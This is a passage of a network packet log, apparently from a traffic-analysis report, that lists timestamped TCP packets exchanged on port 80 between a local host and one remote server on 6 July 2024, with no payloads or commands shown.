Jul 6, 2024 14:10:17.711842060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.711846113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.711878061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.711988926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.712038040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.712080002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.712091923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.712111950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.712132931 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.712143898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.902546883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.902578115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.902594090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.902607918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.902623892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.902636051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.902651072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.902662039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.902715921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.903186083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.903202057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.903215885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.903263092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.903275013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.903287888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.903301954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.903316021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.903316975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.903342009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.903392076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.903487921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.903501987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.903516054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.903538942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.903568029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.903768063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.903809071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.903821945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.903855085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.903875113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.903971910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.903985023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.904028893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.904516935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.904531956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.904546022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.904562950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.904578924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.904587030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.904623032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.904687881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.904736042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.904750109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.904778957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.904805899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.904855013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.904870033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.904907942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.904978037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.905018091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.905062914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.905116081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.905128956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.905143976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.905154943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.905179977 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.905272007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.905286074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.905327082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.905420065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.905432940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.905457973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.905479908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.905761957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.905802965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.905889988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.905927896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.905932903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.905940056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.905960083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.905982018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.906244993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.906277895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.906291962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.906313896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.906343937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.906502008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.906548977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.906562090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.906594992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.906605959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.906651020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.906665087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.906696081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.906893969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.906908989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.906923056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.906948090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.906976938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.906979084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.906991959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.907011986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.907022953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.907095909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.907114029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.907152891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.907228947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.907242060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.907263994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.907284021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.907371998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.907385111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.907407045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.907427073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.907493114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.907505989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.907546997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.907618046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.907629967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.907669067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.907721043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.907733917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.907756090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.907776117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.908348083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.908360958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.908406019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.908406973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.908518076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.908560991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.908571005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.908584118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.908607006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.908618927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.908648968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.908685923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:17.908693075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:17.910315990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.094600916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.094620943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.094628096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.094676971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.094686031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.094744921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.094775915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.094794035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.094796896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.094805002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.094830036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.094841003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.094846010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.094991922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095001936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095036030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.095197916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095207930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095218897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095228910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095251083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.095266104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.095375061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095385075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095422029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.095499992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095546007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095551014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.095556021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095594883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.095601082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095628977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095642090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.095671892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.095679998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095721006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.095868111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095896006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095906019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095907927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.095937014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.095944881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.095953941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.095978975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.096015930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.096055984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.096090078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.096127987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.096133947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.096170902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.096246958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.096314907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.096326113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.096374035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.096411943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.096448898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.096493006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.096510887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.096537113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.096546888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.096571922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.096579075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.096609116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.096637964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.096705914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.096725941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.096739054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.096782923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.096828938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.096832037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.096867085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.096895933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.096934080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.096961975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.097002983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.097058058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.097074986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.097095966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.097111940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.097345114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.097385883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.097398043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.097400904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.097445965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.097565889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.097575903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.097596884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.097610950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.097636938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.097671986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.097682953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.097774029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.097825050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.097835064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.097841978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.097846031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.097861052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.097877026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.097965002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.097975016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.098016024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.098095894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.098105907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.098144054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.098226070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.098236084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.098275900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.098393917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.098503113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.098522902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.098540068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.098556042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.098589897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.098599911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.098611116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.098629951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.098648071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.098706961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.098716974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.098753929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.098934889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.098946095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.098956108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.098973989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.099003077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.099083900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.099092960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.099133015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.099211931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.099226952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.099251032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.099278927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.099345922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.099360943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.099383116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.099399090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.099566936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.099577904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.099610090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.099627972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.099637985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.099675894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.099678040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.099688053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.099720955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.503861904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.503880978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.503895044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.503927946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.503962994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.503963947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.503979921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.503989935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504000902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504008055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.504010916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504043102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.504060984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.504292965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504303932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504313946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504329920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504338026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.504339933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504350901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504362106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504369974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.504371881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504386902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.504420042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.504614115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504630089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504638910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504650116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504658937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504668951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504674911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504683971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504693985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504703999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504714012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504718065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.504724979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504734039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.504734993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504745960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504754066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.504755974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504765987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504769087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.504776955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504786968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504797935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.504803896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.504827976 CEST	49732	80	192.168.2.4	211.108.60.155
